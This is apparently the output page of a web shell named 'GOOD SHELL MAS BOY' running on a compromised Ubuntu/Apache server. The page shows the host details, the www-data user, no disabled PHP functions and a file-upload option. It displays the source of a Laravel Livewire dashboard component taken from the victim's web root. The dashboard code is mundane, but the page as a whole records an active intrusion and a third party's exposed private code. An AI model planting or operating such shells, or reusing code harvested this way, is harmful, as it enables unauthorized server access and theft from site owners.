GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/app/Livewire/Dashboard/Index.php
<?php

namespace App\Livewire\Dashboard;

use Livewire\Component;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;

class Index extends Component
{
    public $total_tasks;
    public $ongoing_tasks;
    public $pending_tasks;
    public $completed_tasks;
    public $last_payment_amount;
    public $total_completed_payment;
    public $total_reviews; 
    public $currency; 
    
    public function mount()
    {
        $user = Session::get("user");
        Session::forget('success');
        Session::forget('error');
        
        if ($user && $user['role'] == 'seller') {
            $this->sellerStatisticsBoard();
            $shop = Session::get('shop');
            if ($shop && $shop === null) {
                return redirect('/dashboard-shop');
            }
        }else{

            $this->BuyerStatisticsBoard();
        }
    }

    public function BuyerStatisticsBoard()
    {
        $apiEndpoints = new ApiEndpoints();
        $headers = $apiEndpoints->header();
        $response = Http::withHeaders($headers)
            ->get(ApiEndpoints::fetchBuyerStatistics());
        if ($response->successful()) {
            $data = $response->json()['data'];
            $this->total_tasks = $data['total_tasks'];
            $this->ongoing_tasks = $data['ongoing_tasks'];
            $this->pending_tasks = $data['pending_tasks'];
            $this->completed_tasks = $data['completed_tasks'];
            $this->last_payment_amount = $data['last_payment_amount'];
            $this->total_completed_payment = $data['total_completed_payment'];
            $this->total_reviews = $data['total_reviews']; 
            $this->currency = $data['currency']; 
        }
    }

    public function sellerStatisticsBoard()
    {
        $apiEndpoints = new ApiEndpoints();
        $headers = $apiEndpoints->header();
        $response = Http::withHeaders($headers)
            ->get(ApiEndpoints::fetchSellerStatistics());
        // dd($response->json());

        if ($response->successful()) {
            $data = $response->json()['data'];
            $this->total_tasks = $data['total_tasks'];
            $this->ongoing_tasks = $data['ongoing_tasks'];
            $this->pending_tasks = $data['pending_tasks'];
            $this->completed_tasks = $data['completed_tasks'];
            $this->last_payment_amount = $data['last_payment_amount'];
            $this->total_completed_payment = $data['total_completed_payment'];
            $this->total_reviews = $data['total_reviews'];
            $this->currency = $data['currency']; 
        }
    }

    public function render()
    {
        return view('livewire.dashboard.index');
    }
}